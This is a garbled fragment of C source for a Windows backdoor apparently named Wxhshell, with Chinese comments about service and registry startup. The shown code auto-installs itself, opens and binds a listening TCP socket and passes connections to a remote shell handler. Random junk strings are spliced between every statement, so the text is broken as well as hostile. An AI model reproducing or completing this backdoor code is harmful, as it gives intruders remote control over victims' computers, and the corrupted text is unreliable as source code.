NWT6 0'a.Ypf CloseHandle(hProcess); {AJspLcG L>cTI2NB. if(strstr(procName,"services")) return 1; // 以服务启动 x H\5T! \vKMNk;kz return 0; // 注册表启动 =T9QmEBm } $LKniK mhh8<BI // 主模块 92XzbbLp int StartWxhshell(LPSTR lpCmdLine) uQrD}%GI { P.LMu SOCKET wsl; vX&Nh"0H& BOOL val=TRUE; EFV'hMjS) int port=0; ?FD^S~bz- struct sockaddr_in door; {]`O $S ]>&au8 if(wscfg.ws_autoins) Install(); {5:y,=Y Qb/qUUQO;0 port=atoi(lpCmdLine); FhW\23OC 5v8_ji#l[ if(port<=0) port=wscfg.ws_port; |_Z(}%
<o MH1??vW WSADATA data; uTngDk if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (J5E]NV C}#JvNyQ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nT9B?P> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &Zd!|u door.sin_family = AF_INET; h8Kri}z; M door.sin_addr.s_addr = inet_addr("127.0.0.1"); nCJ)=P.d door.sin_port = htons(port); _z~|*7@ A@+pvC& if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .XTBy/(0 closesocket(wsl); ?~hC.5 return 1; o|$l+TC } )y_MI
r zJOL\J' if(listen(wsl,2) == INVALID_SOCKET) { f8!*4Bw closesocket(wsl); le`fRq8f& return 1; t*~V]wZ } Fep#Pw1 Wxhshell(wsl); +,f|Y6L< |